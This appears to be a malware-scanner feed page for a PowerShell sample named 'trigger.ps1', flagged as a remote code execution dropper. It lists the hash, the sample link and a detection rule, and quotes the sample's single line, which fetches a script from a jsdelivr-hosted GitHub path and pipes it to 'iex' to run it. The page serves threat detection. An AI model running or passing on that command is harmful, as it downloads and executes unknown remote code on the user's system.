Suspicious 80% Download

trigger.ps1

Remote code execution dropper

Remote IRM response piped to IEXInvoke-RestMethod is near IEX; fetched content may be executed
SHA-2561140af98182d4c455bb7fe36f99d0b9ffc40c896bea1c1fa8e390d5e9b92cae9
URLhttps://tria.ge/api/v0/samples/260926-arz72asybv/sample
MaleculeO(C)H₂(CmPo)

Evidence

Remote IRM response piped to IEX line 1
1irm testingcf.jsdelivr.net/gh/retwiry2536/9cC-a0B-7651B8ba-2-5bc-4-6/1Ec-595d-335 | iex

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.